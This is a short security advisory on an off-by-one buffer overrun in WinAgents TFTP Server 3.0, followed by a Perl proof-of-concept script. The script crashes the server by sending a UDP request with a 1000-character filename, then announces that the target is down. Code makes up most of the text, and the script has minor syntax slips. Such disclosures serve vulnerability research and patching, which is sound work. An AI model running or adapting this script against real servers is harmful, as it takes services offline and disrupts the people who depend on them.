WinAgents TFTP Server is reported prone to a remote off-by-one buffer overrun vulnerability. The issue is reported to exist due to a lack of sufficient boundary checks performed on filenames when a request is made for a file. A remote attacker may make a malicious request to the server for a filename of excessive length. This request will trigger the vulnerability. Immediate consequences of such an attack will reportedly result in a denial of service.
# Remote D.O.S WinAgents TFTP Server ver 3.0
# Tftp.pl <Host>
$Tftp_Port = "69";
$FileName = "A"x1000;
$Tftp_OP = "\x00\x01";
$Tftp_M = "bin";
$Buf = $Tftp_OP . $Tftp_M . $FileName ;
print "\nUsage: perl $0 <Host>\n" ;
print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error ...\n"
$ipaddr = inet_aton($ARGV);
$portaddr = sockaddr_in($Tftp_Port, $ipaddr);
send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't send ...\n";
print "Server : $ARGV Is Down ... \n";